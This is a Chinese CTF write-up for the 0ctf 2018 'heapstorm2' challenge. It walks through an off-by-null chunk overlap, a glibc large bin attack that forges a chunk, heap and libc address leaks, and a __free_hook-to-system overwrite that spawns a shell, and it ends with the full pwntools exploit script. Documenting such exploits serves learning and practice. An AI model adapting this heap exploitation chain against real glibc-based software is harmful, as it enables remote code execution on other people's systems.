0ctf_2018_heapstorm2
buuoj刷pwn题之0ctf_2018_heapstorm2
参考文章:
https://bbs.pediy.com/thread-225973.htm
当然是保护全开啦
关闭了fastbin
有add,edit,delete,show
malloc的指针都和随机数异或后存储
莫得fastbin,要large bin attack
edit功能有off by null的缺陷
可以利用这个off by null来制造overlap chunk
通过edit,伪造接下来要用上的pre_size
add(0x18) # 0
add(0x508) # 1
add(0x18) # 2
# 待会mallc(0x18)的时候,会根据1找到下一个chunk的pre_size,与size相等才通过检查
edit(1, 'h' * 0x4f0 + p64(0x500)) # next = chunk+size(改成0x500)
add(0x18) # 3
add(0x508) # 4
add(0x18) # 5
edit(4, 'h' * 0x4f0 + p64(0x500))
add(0x18) # 6
情况如下
将chunk1给free掉,然后修改chunk0,off by null将chunk1的size改掉
free(1) # chunk2 pre_size=0x510, inuse=0
edit(0, 'h' * (0x18 - 12)) # chunk1 size=0x500
可以看到,chunk1的size最低字节改成了\x00
,从原来的0x510变成了0x500
同时,chunk2的inused位变成了0,因为他的前一个chunk(chunk1)已经free了
此时再malloc,会从之前的释放的chunk1从分配,因为size已经修改成了0x500,那么下一个chunk的位置就是chunk1+0x500,这个位置是之前构造的pre_size,也是0x500,所以通过检查,可以malloc
add(0x18) # 1
add(0x4d8) # 7
此时再释放1和2,要注意2的inused是0,那么chunk1和chunk2会合并入unsorted bin
# chunk1+chunk2合并,node7指向chunk1+0x20+0x10
free(1)
free(2)
而此时的7还可以控制chunk1与chunk2合并后的区域
然后把这块chunk,再malloc出来
add(0x38) # 1
add(0x4e8) # 2
1和7就重叠了
重复一遍操作
free(4)
edit(3, 'h' * (0x18 - 12))
add(0x18) # 4
add(0x4d8) # 8
free(4)
free(5)
add(0x48) # 4
4和8也重叠了
此时unsorted bin里面还有之前free的4的一部分块(add(0x48)后切割剩下的)
此时将2释放,再分配,0x5555557575c0就被安排到large bin里
free(2)
add(0x4e8)
然后再释放2,这样就把2放到unsorted bin里了
free(2)
通过之前的7可以修改free掉的2,改掉bk
pay = p64(0) * 2 + p64(0) + p64(0x4f1) # size
pay += p64(0) + p64(fake_chunk) # bk
edit(7, pay)
再一波伪造
# modify fake chunk size
storage = 0x13370000 + 0x800
fake_chunk = storage - 0x20
pay = p64(0) * 2 + p64(0) + p64(0x4f1) # size
pay += p64(0) + p64(fake_chunk) # bk
edit(7, pay)
pay = p64(0) * 4 + p64(0) + p64(0x4e1) # size
pay += p64(0) + p64(fake_chunk + 8) # bk
pay += p64(0) + p64(fake_chunk-0x18-5) # bk_nextsize
edit(8, pay)
这里参考了文章,再malloc一下,将会出现unsorted bin中的chunk,扔进large bin的操作(有个检查)
try:
add(0x48) # 2
ru('1.')
except EOFError:
continue
break
copy一下关键源码
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
....
....
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
这里的vicitim
是unsorted bin中的chunk,是上图中的,0xxx060
,而fwd
是large bin中的chunk,为0xxx5c0
这里victim->bk_nextsize=fwd->bk_nextsize
使得victim->bk_nextsize=0x133707c3
(0x133707c3就是前面的fake_chunk-0x18-5)
然后victim->bk_nextsize->fd_nextsize=victim
,就是*(0x133707c3+0x20)=*(0x133707e3)=0xxxx060
这样就修改成功了(开了ASLR后,就有可能是0x56xxxx060了)
然后开头的这个0x56
就在fake_chunk的size字段
这个size要为0x56是要,满足一个检查,要开启chunk的mmap标志位置位。
assert (!mem || chunk_is_mmapped (mem2chunk (mem)) ||
av == arena_for_chunk (mem2chunk (mem)));
IS_MAPPED位在第二位:
参考ctfwiki:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/heap_structure-zh/
fake_chunk搞到了,就可以修改开头的随机数,来使用view了
先让node0指向heap位置先,方便后面修改
pay = p64(0) * 2 + p64(0) * 3 + p64(0x13377331) # view
pay += p64(storage) # node0: ptr
edit(2, pay)
之后就是leak出堆
pay = p64(0) * 2 + p64(0) + p64(0x13377331) # view
pay += p64(storage) + p64(0x1000) # node0: ptr,size
pay += p64(0x133707e3) + p64(8) # node1: ptr, size
edit(0, pay)
heap = u64(show(1))
leak('heap', heap)
这个chunk(0xxxx060),的fd字段就是main_arena
可leak出main_arena来计算libc的基地址
pay = p64(0) * 2 + p64(0) + p64(0x13377331) # view
pay += p64(storage) + p64(0x1000) # node0: ptr,size
pay += p64(heap+0x10) + p64(8) # node1: ptr, size
edit(0, pay)
lbase = u64(show(1)) - (0x7f4ef5812b78 - 0x7f4ef544e000)
leak('lbase', lbase)
之后就改free_hook成system,然后getshell
__free_hook = lbase + ctx.libc.sym['__free_hook']
system = lbase + ctx.libc.sym['system']
leak('__free_hook', __free_hook)
leak('system', system)
pay = p64(0) * 2 + p64(0) + p64(0x13377331) # view
pay += p64(storage) + p64(0x1000) # node0: ptr,size
pay += p64(__free_hook) + p64(8) # node1: ptr, size
pay += p64(storage+0x50) + p64(8) # node2: ptr. size
pay += '/bin/sh\x00' # storage+0x50
edit(0, pay)
edit(1, p64(system))
free(2)
完整exp:
#coding=utf8
#!/usr/bin/python2
from PwnContext import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096,timeout=2:ctx.recv(numb, timeout=timeout)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
ctx.binary = './0ctf_2018_heapstorm2'
ctx.remote = ('0.0.0.0', 0)
ctx.remote_libc = '../../libc/libc-2.23.so'
ctx.debug_remote_libc = True
def add(size):
sla('Command: ', '1')
sla('Size: ', str(size))
def edit(index, content):
sla('Command: ', '2')
sla('Index: ', str(index))
sla('Size: ', str(len(content)))
sa('Content: ', content)
def free(index):
sla('Command: ', '3')
sla('Index: ', str(index))
def show(index):
sla('Command: ', '4')
sla('Index: ', str(index))
ru(']: ')
return r(8)
while True:
rs()
# rs('remote')
# print(ctx.libc.path)
add(0x18) # 0
add(0x508) # 1
add(0x18) # 2
# 待会mallc(0x18)的时候,会根据1找到下一个chunk的pre_size,与size相等才通过检查
edit(1, 'a' * 0x4f0 + p64(0x500)) # next = chunk+size(改成0x500)
add(0x18) # 3
add(0x508) # 4
add(0x18) # 5
edit(4, 'a' * 0x4f0 + p64(0x500))
add(0x18) # 6
free(1) # chunk2 pre_size=0x510, inuse=0
edit(0, 'h' * (0x18 - 12)) # chunk1 size=0x500
# 一共0x500
add(0x18) # 1
add(0x4d8) # 7
# chunk1+chunk2合并,node7指向chunk1+0x20+0x10
free(1)
free(2)
add(0x38) # 1
add(0x4e8) # 2
# 4和8重叠
free(4)
edit(3, 'h' * (0x18 - 12))
add(0x18) # 4
add(0x4d8) # 8
free(4)
free(5)
add(0x48) # 4
free(2)
add(0x4e8) # 2
free(2)
# modify fake chunk size
storage = 0x13370000 + 0x800
fake_chunk = storage - 0x20
pay = p64(0) * 2 + p64(0) + p64(0x4f1) # size
pay += p64(0) + p64(fake_chunk) # bk
edit(7, pay)
pay = p64(0) * 4 + p64(0) + p64(0x4e1) # size
pay += p64(0) + p64(fake_chunk + 8) # bk
pay += p64(0) + p64(fake_chunk-0x18-5) # bk_nextsize
edit(8, pay)
#break
try:
add(0x48) # 2
ru('1.')
except EOFError:
continue
break
pay = p64(0) * 2 + p64(0) * 3 + p64(0x13377331) # view
pay += p64(storage) # node0: ptr
edit(2, pay)
# leak heap
# node1 ptr = 0x133707e3, *ptr=0xxxxx060 这是之前构造0x56size字段时弄的堆地址,可以leak出堆
pay = p64(0) * 2 + p64(0) + p64(0x13377331) # view
pay += p64(storage) + p64(0x1000) # node0: ptr,size
pay += p64(0x133707e3) + p64(8) # node1: ptr, size
edit(0, pay)
heap = u64(show(1))
leak('heap', heap)
# leak libc
# 根据这个堆地址,可以leak出main_arena
pay = p64(0) * 2 + p64(0) + p64(0x13377331) # view
pay += p64(storage) + p64(0x1000) # node0: ptr,size
pay += p64(heap+0x10) + p64(8) # node1: ptr, size
edit(0, pay)
lbase = u64(show(1)) - (0x7f4ef5812b78 - 0x7f4ef544e000)
leak('lbase', lbase)
# modify __free_hook
__free_hook = lbase + ctx.libc.sym['__free_hook']
system = lbase + ctx.libc.sym['system']
leak('__free_hook', __free_hook)
leak('system', system)
pay = p64(0) * 2 + p64(0) + p64(0x13377331) # view
pay += p64(storage) + p64(0x1000) # node0: ptr,size
pay += p64(__free_hook) + p64(8) # node1: ptr, size
pay += p64(storage+0x50) + p64(8) # node2: ptr. size
pay += '/bin/sh\x00' # storage+0x50
edit(0, pay)
edit(1, p64(system))
free(2)
#dbg()
irt()